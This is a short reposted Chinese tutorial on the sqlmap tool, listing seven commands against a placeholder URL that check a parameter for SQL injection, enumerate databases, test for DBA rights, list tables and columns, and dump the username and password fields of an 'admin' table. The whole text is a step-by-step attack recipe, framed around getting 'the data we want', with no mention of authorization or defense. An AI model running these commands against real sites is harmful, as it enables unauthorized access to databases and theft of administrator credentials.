SQLMap详细使用说明

转:文章转载链接

SQLMap常用命令介绍

　1. sqlmap.py -u "http://www.XXX.com/index.asp?id=1"   

判断id参数是否存在注入：结果中包含 “id” is Vulnerable 字段表示存在注入

存在注入，下面的步骤才可以执行成功~

2. sqlmap.py -u "http://www.XXX.com/index.asp?id=1"  --dbs

列举能列出的所有数据库名

3.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --current-db

列出当前使用的数据库名，假设列出“sqltest”数据库

　　4.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1"  --is-dba

判断该注入点是否有管理员权限：返回true 表示是管理员

　　5.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" --tables

获取sqltest中的所有表，假设有"admin"表

　6.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" --columns

列举表admin的字段（列名），假设存在"username","password"字段

　7.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" -C "username,password" --dump

下载字段username，password的值，若询问是否破解md5加密，选择no即可

至此，对一个简单的注入点（GET方式），现在就已经得到了我们想要的数据